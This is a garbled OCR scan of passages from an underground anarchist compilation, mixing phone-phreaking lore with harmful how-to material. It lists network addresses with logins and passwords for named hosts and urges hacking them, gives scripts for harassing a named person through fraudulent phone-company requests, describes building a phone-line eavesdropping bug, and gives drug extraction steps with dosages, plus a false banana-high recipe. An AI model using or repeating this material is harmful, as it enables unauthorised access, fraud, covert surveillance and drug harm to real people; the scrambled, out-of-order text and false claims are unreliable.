Phone-phreak Carl managed to get through to Joe after the trial, and reported that Joe sounded crushed by the whole affair. 

"What I'm worried about," Carl told me, "is that Joe means it this time. The promise. That he'll never phone-phreak again. That's what he told me, 
that he's given up phone-phreaking for good. I mean his entire life. He says he knows they're going to be watching him so closely for the rest 
of his life he'll never be able to make a move without going straight to jail. He sounded very broken up by the whole experience of being in jail. It 
was awful to hear him talk that way. I don't know. I hope maybe he had to sound that way. Over the phone, you know." 

He reports that the entire phone-phreak underground is up in arms over the phone company's treatment of Joe. "All the while Joe had his 
hopes pinned on his application for a phone-company job, they were stringing him along getting ready to bust him. That gets me mad. Joe spent 
most of his time helping them out. The bastards. They think they can use him as an example. All of sudden they're harassing us on the coast. 

Agents are jumping up on our lines. They just busted 's mute yesterday and ripped out his lines. But no matter what Joe does, I don't think 

we're going to take this lying down." 

Two weeks later my phone rings and about eight phone phreaks in succession say hello from about eight different places in the country, 
among them Carl, Ed, and Captain Crunch. A nationwide phone-phreak conference line has been reestablished through a switching machine in 
, with the cooperation of a disgruntled switchman. 

"We have a special guest with us today," Carl tells me. 

The next voice I hear is Joe's. He reports happily that he has just moved to a place called Millington, Tennessee, fifteen miles outside of 
Memphis, where he has been hired as a telephone-set repairman by a small independent phone company. Someday he hopes to be an 
equipment troubleshooter. 

"It's the kind of job I dreamed about. They found out about me from the publicity surrounding the trial. Maybe Ma Bell did me a favor busting me. 
I'll have telephones in my hands all day long." 

"You know the expression, 'Don't get mad, get even'?" phone-phreak Carl asked me. "Well, I think they're going to be very sorry about what 
they did to Joe and what they're trying to do to us." 

151 -The History of British Phreaking by Lex Lutlior 

Note: The British post office, is the US equivalent of Ma Bell. In Britain, phreaking goes back to the early fifties, when the technique of 'toll a 
drop back' was discovered. Toll a was an exchange near St.Pauls which routed calls between London and nearby non-London exchanges. 
The trick was to dial an unallocated number, and then depress the receiver-rest for « second. This flashing initiated the 'clear fora/ard' signal, 
leaving the caller with an open line into the toll a exchange. They could then dial 018, which forwarded him to the trunk exchange at that time, 
the first long distance exchange in Britain and follow it with the code for the distant exchange to which he would be connected at no extra 
charge. 

The signals needed to control the UK network today were published in the "Institution of Post Office Engineers Journal" and reprinted in the 
Sunday times (15 Oct. 1972). 

The signaling system they use: Signaling system No.3 uses pairs of frequencies selected from 6 tones separated by 120hz. With that info, the 
phreaks made "bleepers" or as they are called here in the US "blue box", but they do utilize different MF tones then the US, thus, your US blue 
box that you smuggled into the UK will not work, unless you change the frequencies. 

In the early seventies, a simpler system based on different numbers of pulses with the same frequency (2280hz) was used. For more info on 
that, try to get a hold of: Atkinson's "Telephony and Systems Technology". 

In the early days of British phreaking, the Cambridge university Titan computer was used to record and circulate numbers found by the 
exhaustive dialing of local networks. These numbers were used to create a chain of links from local exchange to local exchange across the 



country, bypassing the trunk circuits. Because tine internal routing codes in tine UK networl< are not the same as those dialed by the caller, the 
phreaks had to discover them by 'probe and listen' techniques or more commonly known in the US -- scanning. What they did was put in likely 
signals and listened to find out if they succeeded. The results of scanning were circulated to other phreaks. Discovering each other took time 
at first, but eventually the phreaks became organized. The "tap" of Britain was called "undercurrents" which enabled British phreaks to share 
the info on new numbers, equipment etc. 

To understand what the British phreaks did, think of the phone network in three layers of lines: Local, trunk, and international. In the UK, 
subscriber trunk dialing (std), is the mechanism which takes a call from the local lines and (legitimately) elevates it to a trunk or international 
level. The UK phreaks figured that a call at trunk level can be routed through any number of exchanges, provided that the right routing codes 
were found and used correctly. They also had to discover how to get from local to trunk level either without being charged (which they did 
with a bleeper box) or without using (std). Chaining has already been mentioned but it requires long strings of digits and speech gets more and 
more faint as the chain grows, just like it does when you stack trunks back and forth across the US. The way the security reps snagged the 
phreaks was to put a simple 'printermeter' or as we call it: A pen register on the suspects line, which shows every digit dialed from the 
subscribers line. 

The British prefer to get onto the trunks rather than chaining. One way was to discover where local calls use the trunks between neighboring 
exchanges, start a call and stay on the trunk instead of returning to the local level on reaching the distant switch. This again required 
exhaustive dialing and made more work for titan; it also revealed 'fiddles', which were inserted by post office engineers. 

What fiddling means is that the engineers rewired the exchanges for their own benefit. The equipment is modified to give access to a trunk 
without being charged, an operation which is pretty easy in step by step (SxS) electro-mechanical exchanges, which were installed in Britain 
even in the 1970's (Note: I know of a back door Into the Canadian system on a 4A Co., so if you are on SxS or a 4A, try scanning 3 digit 
exchanges, i.e.: dial 999,998,997 etc. And listen for the beep-kerchink, if there are no 3 digit codes which allow direct access to a tandem in 
your local exchange and bypasses the AMA so you won't be billed, not have to blast 2600 every time you wish to box a call. 

A famous British 'fiddler' revealed in the early 1970's worked by dialing 173. The caller then added the trunk code of 1 and the subscribers 
local number. At that time, most engineering test services began with 17X, so the engineers could hide their fiddles in the nest of service 
wires. When security reps started searching, the fiddles were concealed by tones signaling: 'Number unobtainable' or 'Equipment engaged' 
which switched off after a delay. The necessary relays are small and easily hidden. 

There was another side to phreaking in the UK in the sixties. Before STD was widespread, many 'ordinary' people were driven to. 

Occasional phreaking from sheer frustration at the inefficient operator controlled trunk system. This came to a head during a strike about 1961 
when operators could not be reached. Nothing complicated was needed. Many operators had been in the habit of repeating the codes as they 
dialed the requested numbers so people soon learnt the numbers they called frequently. The only 'trick' was to know which exchanges could 
be dialed through to pass on the trunk number. Callers also needed a pretty quiet place to do it, since timing relative to clicks was important. The 
most famous trial of British phreaks was called the old Baily trial. Which started on Oct. 3rd, 1973. What the phreaks did was dial a spare 
number at a local call rate, but involving a trunk to another exchange then they sent a 'clear forward' to their local exchange, indicating to it that 
the call was finished; but the distant exchange doesn't realize because the caller's phone is still off the hook. They now have an open line into 
the distant trunk exchange and sent to it a 'seize' signal: '1' which puts him onto its outgoing lines now, if they know the codes, the world is 
open to them. All other exchanges trust his local exchange to handle the billing; they just interpret the tones they hear. Meanwhile, the local 
exchange collects only for a local call. The investigators discovered the phreaks holding a conference somewhere in England surrounded by 
various phone equipment and bleeper boxes, also printouts listing 'secret' post office codes. (They probably got them from trashing?) The 
judge said: "Some take to heroin, some take to telephones." for them phone phreaking was not a crime, but a hobby to be shared with phellow 
enthusiasts and discussed with the post office openly over dinner and by mail. Their approach and attitude to the worlds largest computer, the 
global telephone system, was that of scientists conducting experiments or programmers and engineers testing programs and systems. The 
judge appeared to agree, and even asked them for phreaking codes to use from his local exchangelll 



152.Bad as Shit by The Jolly Roger 

Recently, a telephone fanatic in the northwest made an interesting discovery. He was exploring the 804 area code (Virginia) and found out 
that the 840 exchange did something strange. 

In the vast majority of cases, in fact in all of the cases except one, he would get a recording as if the exchange didn't exist. However, if he 
dialed 804-840 and four rather predictable numbers, he got a ring! 

After one or two rings, somebody picked up. Being experienced at this kind of thing, he could tell that the call didn't "supe", that is, no charges 
were being incurred for calling this number. 

(Calls that get you to an error message, or a special operator, generally don't supervise.) A female voice, with a hint of a Southern accent 
said, "Operator, can I help you?" 



"Yes," he said, "What number have I reached?" 



"What number did you dial, sir?" 

He made up a number that was similar. 

"I'm sorry that is not the number you reached." Click. 

He was fascinated. What in the world was this? He knew he was going to call back, but before he did, he tried some more experiments. He 
tried the 840 exchange in several other area codes. In some, it came up as a valid exchange. In others, exactly the same thing happened -- the 
same last four digits, the same Southern belle. Oddly enough, he later noticed, the areas worked in seemed to travel in a beeline from 
Washington DC to Pittsburgh, PA. 

He called back from a payphone. "Operator, can I help you?" 

"Yes, this is the phone company. I'm testing this line and we don't seem to have an identification on your circuit. What office is this, please?" 
"What number are you trying to reach?" 

"I'm not trying to reach any number. I'm trying to identify this circuit." 
"I'm sorry, I can't help you." 

"Ma'am, if I don't get an ID on this line, I'll have to disconnect it. We show no record of it here." 

"Hold on a moment, sir." 

After about a minute, she came back. "Sir, I can have someone speak to you. Would you give me your number, please?" 

He had anticipated this and he had the payphone number ready. After he gave it, she said, "Mr. XXX will get right back to you." 

"Thanks." He hung up the phone. It rang. INSTANTLY! "Oh my God," he thought, "They weren't asking for my number-- they were confirming it!" 

"Hello," he said, trying to sound authoritative. 

"This is Mr. XXX. Did you just make an inquiry to my office concerning a phone number?" 
"Yes. I need an identi--" 

"What you need is advice. Don't ever call that number again. Forget you ever knew it." 

At this point our friend got so nervous he just hung up. He expected to hear the phone ring again but it didn't. 

Over the next few days he racked his brains trying to figure out what the number was. He knew it was something big - that was pretty 
certain at this point. It was so big that the number was programmed into every central office in the country. He knew this because if he tried to 
dial any other number in that exchange, he'd get a local error message from his CO, as if the exchange didn't exist. 

It finally came to him. He had an uncle who worked in a federal agency. He had a feeling that this was government related and if it was, his 
uncle could probably find out what it was. He asked the next day and his uncle promised to look into the matter. 

The next time he saw his uncle, he noticed a big change in his manner. He was trembling. "Where did you get that number?!" he shouted. "Do 
you know I almost got fired for asking about it?!? They kept wanting to know where I got it." 

Our friend couldn't contain his excitement. "What is it?" he pleaded. "What's the number?!" 

"ITS THE PRESIDENTS BOMB SHELTER!" 

He never called the number after that. He knew that he could probably cause quite a bit of excitement by calling the number and saying 
something like, "The weather's not good in Washington. We're coming over for a visit." But our friend was smart. He knew that there were 
some things that were better off unsaid and undone. 

153.Telenet by The Mad Max 

It seems that not many of you know that Telenet is connected to about 80 computer-networks in the world. No, I don't mean 80 nodes, but 80 
networks with thousands of unprotected computers. When you call your local Telenet-gateway, you can only call those computers which 
accept reverse-charging-calls. If you want to call computers In foreign countries or computers In USA which do not accept R-calls, you need a 



Telenet-ID. Did you ever notice that you can type ID XXXX when being connected to Telenet? You are then asked for the password. If you 
have such a NUI (Network-User-ID) you can call nearly every host connected to any computer-network in the world. Here are some examples: 

026245400090184 :1s a VAX in Germany (Usemame: DATEXP and leave mail for CHRIS) 

0311050500061 :1s the Los Alamos Integrated computing network (One of the hosts connected to it is the DNA (Defense Nuclear Agency)!!!) 
05301 9700001 6 :1s a BBS in New Zealand 

024050256 :ls the S-E-Bank in Stockholm, Sweden (Login as GAIVIES !!!) 

022846811 40541 :CERN in Geneva in Switzerland (one of the biggest nuclear research centers in the world) Login as GUEST 
023421 2301 1 61 :A Videotex-standard system. Type OPTEL to get in and use the ID 999_ with the password 9_ 
0242211000001 :University of Osb in Norway (Type LOGIN 17,17 to play the Multi- User- Dungeon !) 

0425130000215 :Something like ITT Dialcom, but this one is in Israel I ID HELP with password HELP works fine with security level 3 
0310600584401 :1s the Washington Post News Service via Tymnet (Yes, Tymnet is connected to Telenet, too !) ID and Password is: PETER 
You can read the news of the next day! 

The prefixes are as follows: 
02624 is Datex-P in Germany 
02342 is PSS in England 
03110 is Telenet in USA 
03106 is Tymnet in USA 
02405 is Telepak in Sweden 
04251 is Isranet in Israel 
02080 is Transpac in France 
02284 is Teiepac in Switzerland 
02724 is Eirpac in Ireland 
02704 is Luxpac in Luxembourg 
05252 is Teiepac in Singapore 
04408 is Venus- P in Japan 
...and so on... 

Some of the countries have more than one packet-switching-network (USA has 1 1 , Canada has 3, etc). 

OK. That should be enough for the moment. As you see most of the passwords are very simple. This is because they must not have any fear 
of hackers. Only a few Gern^n hackers use these networks. Most of the computers are absolutely easy to hack III So, try to find out some 
Telenet-ID's and leave them here. If you need more numbers, leave e-mail. I'm calling from Germany via the German Datex -P network, which is 
similar to Telenet. We have a lot of those NUl's for the German network, but none for a special Tymnet-outdial-computer in USA, which 
connects me to any phone number. 

Call 026245621040000 and type ID INF300 with password DATACOM to get more Informations on pactet-switching-networksl The new 
password for the Washington Post is KING III! 



154.Fucking with the Operator by The Jolly Roger 

Ever get an operator who gave you a hard time, and you didn't know what to do? Well if the operator hears you use a little Bell jargon, she 
might wise up. Here is a little diagram (excuse the artwork) of the structure of operators 

/ \ /- \ /— -\ 

lOperatorl- > I S.A. I — >l BOS I 
\ / \— — / \— -/ 

! 

! 

V 

/ -\ 

I Group Chief ! 

\ -/ 

Now most of the operators are not bugged, so they can curse at you, if they do ask INSTANTLY for the "S.A." or the Service Assistant. The 
operator does not report to her (95% of them are hers) but they will solve most of your problems. She MUST give you her name as she 
connects & all of these calls are bugged. If the SA gives you a rough time get her BOS (Business Office Supervisor) on the line. S/He will 
almost always back her girls up, but sometimes the SA will get tarred and feathered. The operator reports to the Group Chief, and S/He will 
solve 100% of your problems, but the chances of getting S/He on the line are nil!. 

If a lineman (the guy who works out on the poles) or an installation man gives you the works ask to speak to the Installation Foreman, that 
works wonders. 



Here is some other bell jargon, that might come in handy if you are having trouble with the line. Or they can be used to lie your way out of 
situations.... 

An Eriing is a line busy for 1 hour, used mostly in traffic studies A Permanent Signal is that terrible howling you get if you disconnect, but don't 
hang up. 

Everyone knows what a busy signal is, but some idiots think that is the 'Actual* ringing of the phone, when it just is a tone "beeps" when the 
phone is ringing, wouldn't bet on this though, it can (and does) get out of sync. 

When you get a busy signal that is 2 times as fast as the normal one, the person you are trying to reach isn't really on the phone, (he might be), 
it is actually the signal that a trunk line somewhere is busy and they haven't or can't reroute your call. Sometimes you will get a Recording, or if 
you get nothing at all (Left High & Dry in tone terms) all the recordings are being used and the system is really overused, will probably go down 
in a little while. This happened when Kennedy was shot, the system just couldn't handle the calls. By the way this is called the "reorder signal" 
and the trunk line is "blocked". 

One more thing, if an overseas call isn't completed and doesn't generate any money for AT&T, is called an "Air & Water Call". 



155.Phrack Magazine - Vol. 1, Issue 1 by The Iron Soldier 

"Vengeance is mine", says the Phreak. 

METHOD 1 -PHONE LINE PHUN 

Call up the business office. It should be listed at the front of the white pages. Say you wanted to disconnect Scott Korman's line. DIAL 800- 
xxx-xxxx. 

"Hello, this is IVIr. Korman, I'm moving to California and would like to have my phone sen/ice disconnected. I'm at the airport now. I'm calling from 
a payphone, my number is [414] 445 5005. You can send my final bill to: (somewhere in California). Thank you." 

METHOD 2 -PHONE BOOKS 

Call up the business office from a pay phone. Say : 

"Hello, I'd like to order a Phone Book for Upper Volta (or any outof -the way area with Direct Dialing). This is Scott Korman, ship to 31 1 9 N. 44th 
St. Milwaukee, Wl 53216. Yes, I under stand it will cost $xx($25-$75!l). Thank you." 

METHOD 3-PHONE CALLS 

Call up a PBX, enter the code and get an outside line. Then dial 0+ the number desired to call. You will hear a bonk and then an operator. Say, 
"I'd like to charge this to my home phone at 41 4-445-5005. Thank you." A friend and I did this to a loser, I called him at 1 :00 AM and we left the 
tone off the hook all night. I calculated that it cost him $168. 

METHOD 4-MISC. SERVICES 

Call up the business office once again from a payfone. Say you'd like call waiting, fonwarding, 3 way, etc. Once again you are the famed loser 
Scott Korman. He pays-you laugh. You don't know how funny it was talking to him, and wondering what those clicks he kept hearing were. 

METHOD 5 -CHANGED &UNPUB 

Do the same as in #4, but say you'd like to change and unlist your (Scott's) 
number. Anyone calling him will get: 

"BEW BEW BEEP. The number you have reached, 445-5005, has been changed to a non-published number. No further " 



METHOD 6-FORWARDING 

This required an accomplice or two or three. Around Christmas time, go to Toys 'R' Us. Get everyone at the customer service or manager's 
desk away ("Hey, could you help me"). Then you get on their phone and dial (usually dial 9 first) and the business office again. This time, say 
you are from Toys 'R' Us, and you'd like to add call fonwarding to 445-5005. Scott will get 100-600 calls a day!!! 



METHOD 7 -RUSSIAN CALLER 

Call a payphone at 1 0:00 PM. Say to the operator that you'd like to book a call to Russia. Say you are calling from a payphone, and your number 
is that of the loser to fry (e.g. 445-5005). She will say that she'll have to call ya back in 5 hours, and you OK that. Meanwhile the loser (e.g.) 
Scott, will get a call at 3:00 AM from an operator saying that the call he booked to Russia is ready. 



ise.lnternational Country Code Listing by The Jolly Roger 

•UNITED KINGDOM/IRELAND 



IRELAND 353 

UNITED KINGDOM 44 

'EUROPE 



ANDORRA 33 

AUSTRIA 43 

BELGIUM 32 

CYPRUS 357 

GZEGHOLSLOVAKIA 42 

DENMARK 45 

FINLAND 358 

FRANCE 33 

GERMAN DEMOCRATIC REPUBUC .37 

GERMANY, FEDERAL REPUBUC OF 49 

GIBRALTAR 350 

GREECE 30 

HUNGARY 36 

ICELAND 354 

ITALY 39 

LIECHTENSTEIN 41 

LUXEMBOURG 352 

MONACO 33 

NETHERLANDS 31 

NORWAY 47 

POLAND 48 

PORTUGAL 351 

ROMANIA 40 

SAN MARINO 39 

SPAIN 34 

SWEDEN 46 

SWITZERLAND 41 

TURKEY 90 

VATICAN CITY 39 

YUGOSLAVIA 38 

•CENTRAL AMERICA 



BELIZE «01 

COSTA RICA «06 

EL SALVADOR «03 

GUATEMALA «02 

HONDURAS «04 

NICARAGUA «05 

PANAMA «07 

•AFRICA 



ALGERIA 213 

CAMEROON 237 

EGYPT 20 

ETHIOPIA 251 

GABON 241 

IVORY COAST 225 

KENYA 254 

LESOTHO 266 

LIBERIA 231 

LIBYA 218 

MALAWI 265 

MOROCCO 212 

NAMIBIA 264 



NIGERIA 234 

SENEGAL 221 

SOUTH AFRICA 27 

SWAZILAND 268 

TANZANIA 255 

TUNISIA 216 

UGANDA 256 

ZAMBIA 260 

ZIMBABWE 263 



•PACIFIC 



AMERICAN SAMOA 684 

AUSTRALIA 61 

BRUNEI 673 

FIJI 679 

FRENCH POLYNESIA 689 

GUAM 671 

HONG KONG 852 

INDONESIA 62 

JAPAN 81 

KOREA, REPUBLIC OF 82 

MALAYSIA 60 

NEW CALEDONIA 687 

NEW ZEALAND 64 

PAPUA NEW GUINEA 675 

PHILIPPINES 63 

SAIPAN 670 

SINGAPORE 65 

TAIWAN 886 

THAILAND 66 

•INDIAN OCEAN 

PAKISTAN 92 

SRI LANKA 94 

•SOUTH AMERICA 



ARGENTINA «4 

BOLIVIA «91 

BRAZIL «5 

CHILE «6 

COLOMBIA «7 

ECUADOR «93 

GUYANA «92 

PARAGUAY "95 

PERU «1 

SURINAM «97 

URUGUAY «98 

VENEZUELA «8 



*NEAR EAST 



BAHRAIN 973 

IRAN 98 

IRAQ 964 

ISRAEL 972 

JORDAN 962 

KUWAIT 965 

OMAN 968 

QATAR 974 

SAUDI ARABIA 966 



UNITED ARAB EMIRATES 971 

YEMEN ARAB REPUBLIC 967 



•CARIBBEAN/ATLANTIC 



FRENCH ANTILLES «96 

GUANTANAMO BAY (US NAVY BASE)...«3 

HAITI «09 

NETHERLANDS AMTILLES «99 

ST. PIERRE AND MIQUELON «08 

INDIA 



INDIA 91 

•CANADA 



TO CALL CANADA, DIAL 1 + AREA CODE + LOCAL NUMBER. 
•MEXICO 



TO CALL MEXICO, DIAL Oil + 52 + CITY CODE+ LOCAL NUMBER. 



To dial international calls: 

International Access Code + Country code + Routing code 
Example : 

To call Frankfurt, Germany, you would do the following: 
01 1 + 49 + 61 1 + (# wanted) + # sign(octothrope) 

The # sign at the end is to tell Bell that you are done entering in all the needed info. 



157.The Infinity Transmitter: by «<Gliost Wind»> 

FROM THE BOOK BUILD YOUR OWN 
LASER, PHASER, ION RAY GUN & OTHER WORKING SPACE-AGE PROJECTS 
BY ROBERT lANNINI (TAB BOOKS INC.) 

Description: Briefly, the Infinity Transmitter is a device which activates a microphone via a phone call. It is plugged into the phone line, and 
when the phone rings, it will immediately intercept the ring and broadcast into the phone any sound that is in the room. This device was 
originally made by Information Unlimited, and had a touch tone decoder to prevent all who did not know the code from being able to use the 
phone in its normal way. This version, however, will activate the microphone for anyone who calls while it is in operation. 

NOTE: It is illegal to use this device to try to bug someone. It is also pretty stupid because they are fairly noticeable. 

Parts List: 

Pretend that uF means micro Farad, cap = capacitor 



Part 


# 


Description 


R1 ,4,8 


3 


390 k -1 watt resistor 


R2 


1 


5.6 M -1 watt resistor 


R3,5,6 


3 


6.8 k -1 watt resistor 


R7/S1 


1 


5 k pot/switch 


R9,16 


2 


1 00 k -1 watt resistor 


RIO 


1 


2.2 k -1 watt resistor 


R13,18 


2 


1 k -1 watt resistor 


R14 


1 


470 ohm -1 watt resistor 


R15 


1 


1 0 k -n watt resistor 


R17 


1 


1 M -1 watt resistor 


CI 


1 


.05 uF/25 V disc cap 



C2,3,5,6,7 5 1 uF 50 V electrolytic cap or tant (preferably non-polarized) 
C4,1 1,12 3 .01 uF/50 V disc cap 



C8,10 


2 


1 00 uF @ 25 V electrolytic cap 


C9 


1 


5 uF @ 1 50 V electrolytic cap 


C13 


1 


1 0 uF @ 25 V electrolytic cap 


TIVII 


1 


555 timer dip 


A1 


1 


CA301 8 amp array in can 


Q1,2 


2 


PN???? npn sil transistor 


Q3 


1 


D40D5 npn pwr tab transistor 


D1,2 


2 


50 VI amp react. 1N4002 


T1 


1 


1 « k/500 matching transformer 


M1 


1 


large crystal microphone 


J1 


1 


Phono jack optional for sense output 


WR3 


(24") #24 red and black hook up wire 


WR4 


(24") #24 black hook up wire 


CL3,4 


2 


Alligator clips 


CL1,2 


2 


6" battery snap clips 


PB1 


1 


1 3/4x4 «x.1 perfboard 


CA1 


1 


5 -1x3x2 1/8 grey enclosure fab 


WR15 


(12") #24 buss wire 


KN1 


1 


small plastic knob 


BU1 


1 


small clamp bushing 


B1,2 


2 


9 volt transistor battery or 9V ni -cad 



Circuit Operation: Not being the most technical guy in the world, and not being very good at electronics (yet), I'm just repeating what Mr. 
lannini's said about the circuit operation. The Transmitter consists of a high grain amplifier fed into the telephone lines via transformer. The 
circuit is initiated by the action of a voltage transient pulse occurring across the phone line at the instant the telephone circuit is made (the 
ring, in other words). This transient immediately triggers a timer whose output pin 3 goes positive, turning on transistors Q2 and Q3. Timer 
TM1 now remains in this state for a period depending on the values of R17 and CI 3 (usually about 10 seconds for the values shown). When 
Q3 is turned on by the timer, a simulated "off hook" condition is created by the switching action of Q3 connecting the 500 ohm winding of the 
transformer directly across the phone lines. Simultaneously, Q2 clamps the ground of A1 , amplifier, and Q1 , output transistor, to the negative 
return of B1 , B2, therefore enabling this amplifier section. Note that B2 is always required by supplying quiescent power to TM1 during 
normal conditions. System is off/on controlled by SI (switch). A crystal mike picks up the sounds that are fed to the first two transistors of 
the A1 array connected as an emitter follower driving the remaining two transistors as cascaded common emitters. Output of the array 
now drives 01 capacitively coupled to the 1500 ohm winding of T1. R7 controls the pick up sensitivity of the system. Diode D1 is 
fonward biased at the instant of connection and essentially applies a negative pulse at pin 2 of TIVI1, initiating the cycle. D2 clamps any high 
positive pulses. C9 dc-isolates and desensitizes the circuit. The system described should operate when any incoming call is made without 
ringing the phone. 

Schematic Diagram: Because this is text, this doesn't look too hot. Please use a little imagination! I will hopefUly get a graphics drawing of this 
out as soon as I can on a Fontrix graffile. 

To be able to see what everything is, this character: | should appear as a horizontal bar. I did this on a ][e using a ][e 80 column card, so I'm 
sorry if it looks kinda weird to you. 

Symbols: 

resistor: -/W- switch : _/ _ 

battery: -|!|!- capacitor (electrolytic): - 1(- 
capacitor(disc): -||- _ _ 

transistor:(c) > (e) Transformer: )||( 

W )ll( 
1(b) JUL 

diode: |< 

chip: . . 

I I (chips are easy to recognize!) 

Dots imply a connection between wires. NO DOT, NO CONNECTION, 
i.e..: _!_ means a connection while _|_ means no connection. 

% 

_to GREEN wire phone line 

to RED wire phone line 



! 



II • 

II I 

III R1 



_(M1)_ 



A/V 



C1 



Ithis wire is tlie amp 
|<=ground 



R2 



/W 



!4 9 11! 



!7 



A1 I 
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!10 



*8! 
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/ I I 

/ I \ 

I / I /R4 



|2ma 



B1 + 
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. R8/ 

I \ I 



R6 |3nia 
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1 1 1 


1 1 / 


1 • ! . 1 


1 1 \R14 


|C12| TM1 2| 1 


1 1 / 


! II !5 4! ! 


1 1 \ 


nil 1 1 


1 1 1 


! !1 8! ! 


1 1 1 


II 76 3 1 1 


1 1 1 
1 1 1 


1 ! . . . ! 1 

1 II 1 1 


1 1 1 


1 C13 II 1 R17 1 


1 1 1 
1 1 1 
! 1 ! 


! )| ! ! 1 A/V ! 
1 1 1 

1 


1 \ 


1 1 
1 C10 1 


1 /R18 




1 \ 




1 / 
1 1 
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sense output 



Construction notes: Because the damned book just gave a picture instead of step by step instructions, and I'll try to give you as much help as 

possible. Note that all the parts that you will be using are clearly labeled in the schematic. The perfboard, knobs, 'gator clips, etc are optional. I 
do strongly suggest that you do use the board!!! It will make wiring the components up much much easier than if you don't use it. The knob you 
can use to control the pot (R7). R7 is used to tune the IT so that is sounds Ok over the phone. (You get to determine what sounds good) By 
changing the value of C13, you can change the amount of time that the circuit will stay open (it cannot detect a hang up, so it works on a 
timer.) A value of 100 micro Farads will increase the time by about 10 times. The switch (SI) determines whether or not the unit is operational. 
Closed is on. Open is off. The negative return is the negative terminals of the battery!! The batteries will look something like this when hooked 
up: 

<-v . . . . . . -> 

II I I I I 

_!_!_ I I _! !_ 

1+ - I !_/_! 1+ - I 

I I switch'^ I I 

|9volts| I |9volts| 

! ! neg return I I 

To hook this up to the phone line, there are three ways, depending upon what type of jack you have. If it is the old type (non modular) then you 
can just open up the wall plate and connect the wires from the transmitter directly to the terminals of the phone. 

If you have a modular jack with four prongs, attach the red to the negative prong (don't ask me which is which! I don't have that type of jack... 
I've only seen them in stores), and the green to the positive prong, and plug in. Try not to shock yourself... 

If you have the clip-in type jack, get double male extension cord (one with a clip on each end), and chop off one clip. Get a sharp knife and 
splice off the gray protective material. You should see four wires, including one green and one red. You attach the appropriate wires from the 
IT to these two, and plug the other end into the wall. 

Getting the IT to work: If you happen to have a problem, you should attempt to do the following (these are common sense rules!!) iVIake sure 
that you have the polarity of all the capacitors right (if you used polarized capacitors, that is). IVIake sure that all the soldering is done well and 
has not short circuited something accidentally (like if you have a glob touching two wires which should not be touching.) Check for other short 



circuits. Checl< to see if tine battery is in right. Checl< to mal<e sure the switch is closed, if it stiii doesn't worl<, drop me a iine on one of the 
Maryland or Virginia BBSs and I'll try to help you out. 



The sense output: Somehow or other, it is possible to hook something else up to this and activate it by phone (like an alarm, flashing lights, etc.) 



I think, of all the drugs on the black market today, LSD is the strangest. It is the most recent major drug to come to life in the psychedelic 
subculture. (Blah blah blah... let's get to the good stuff: How to make it in your kitchenll) 

I .Grind up 150 grams of Morning Glory seeds or baby Hawaiian wood rose seeds. 
2.ln 130 CO. of petroleum ether, soak the seeds for two days. 

S.Filter the solution through a tight screen. 

4. Throw away the liquid, and allow the seed mush to dry. 

5. For two days allow the mush to soak in 11 0 cc. of wood alcohol. 
e.Filter the solution again, saving the liquid and labeling it "1 ." 
7.Resoak the mush in 1 1 0 cc. of wood alcohol for two days. 
S.Filter and throw away the mush. 

9. Add the liquid from the second soak to the solution labeled "1 ." 

1 0. Pour the liquid into a cookie tray and allow it to evaporate. 

I I .When all of the liquid has evaporated, a yellow gum remains. This should be scraped up and put into capsules. 

• 30 grams of Morning Glory seeds = 1 trip 

• 15 Hawaiian wood rose seeds = 1 trip 

Many companies, such as Northop-King have been coating their seeds with a toxic chemical, which is poison. Order seeds from a wholesaler, 
as it is much safer and cheaper. Hawaiian wood rose seeds can be ordered directly from: 

Cheng's Nursery and Flowers 
P.O. 80x2154 
Honolulu, Hawaii 



The basic dosages of acid vary according to what kind of acid is available and what medium of ingestion is used. Chemically, the potency of 
LSD-25 is measured in micrograms, or mics. If you're chemically minded or making your own acid, then computing the number of micrograms is 
very important. Usually between 500 and 800 mics is plenty for an 8 hour trip, depending on the quality of the acid, of course. I have heard of 
people taking as much as 1 ,500-2,000 mics. This is not only extremely dangerous, it is extremely wasteful. 

LSD comes packaged in many different forms. The most common are listed below: 

1 .The brown spot, or a piece of paper with a dried drop of LSD on it, is always around. Usually one spot equals one trip. 

2.Capsuled acid is very tricky, as the cap can be almost any color, size, or potency. Always ask what the acid is cut with, as a lot of acid is 

cut with either speed or strychnine. Also note dosage. 
3.Small white or colored tablets have been known to contain acid, but, as with capsuled acid, it's impossible to tell potency, without asking. 



159.Bananas by The Jolly Roger 

Believe it or not, bananas do contain a small quantity of _Musa Sapientum bananadine_, which is a mild, short-lasting psychedelic. There are 
much easier ways of getting high, but the great advantage to this method is that bananas are legal. 

1 .Obtain 15 lbs. of ripe yellow bananas. 

2. Peel all 15 lbs. and eat the fruit. Save the peels. 

3. With a sharp knife, scrape off the insides of the peels and save the scraped material. 

4. Put all of the scraped material in a large pot and add water. Boil for three to four hours until it has attained a solid paste consistency. 
5.Spread this paste on cookie sheets, and dry in an over for about 20 minutes to a half hour. This will result in a fine black powder. Makes 

about one pound of bananadine powder. Usually one will feel the effects of bananadine after smoking three or four cigarettes. 



158.LSD 



by The Jolly Roger 



LSD DOSAGES 



Table of Weights 



0.0625 
0.0022 



Pounds 



0.0352 



Ounces 

16 



Grams 

453.6 
28.35 
1 



Kilos 

0.4536 
0.0283 
0.001 



2.205 35.27 1,000 1 

160.Yunnmv Marihuana Recipes 



by Tlie Jolly Roger 



Acapuico Green 

• 3 ripe avocados 

• « cup chopped onions 

• 2 teaspoons chili powder 

• 3 tablespoons wine vinegar 

• « cup chopped marihuana (grass) 

IVlix the vinegar, grass, and chili powder together and let the mixture stand for one hour. Then add avocados and onions and mash it all 
together. It can be served with tacos or as a dip. 

Pot Soup 

• 1 can condensed beef broth 

• 3 tablespoons grass 

• 3 tablespoons lemon juice 

• « can water 

• 3 tablespoons chopped watercress 

Combine all ingredients in a saucepan and bring to a boil over medium heat. Place in a refrigerator for two to three hours, reheat, and serve. 

Pork and Beans and Pot 

• 1 large can (1 lb. 13 oz.) pork and beans 

• « cup grass 

• 4 slices bacon 

• « cup light molasses 

• « teaspoon hickory salt 

• 3 pineapple rings 

Mix together in a casserole, cover top with pineapple and bacon, bake at 35O0for about 45 minutes. Serves about six. 

The Meat Ball 

• 1 lb. hamburger 

• -1 cup chopped onions 

• 1 can cream of mushroom soup 

• -■ cup bread crumbs 

• 3 tablespoons grass 

• 3 tablespoons India relish 

Mix it all up and shape into meat balls. Brown in frying pan and drain. Place in a casserole with soup and « cup water, cover and cook over 
low heat for about 30 minutes. Feeds about four people. 

Spaghetti Sauce 

• 1 can (6 oz.) tomato paste 

• 2 tablespoons olive oil 

• « cup chopped onions 

• « cup chopped grass 

• 1 pinch pepper 

• 1 can (6 oz.) water 

• « clove minced garlic 

• 1 bay leaf 

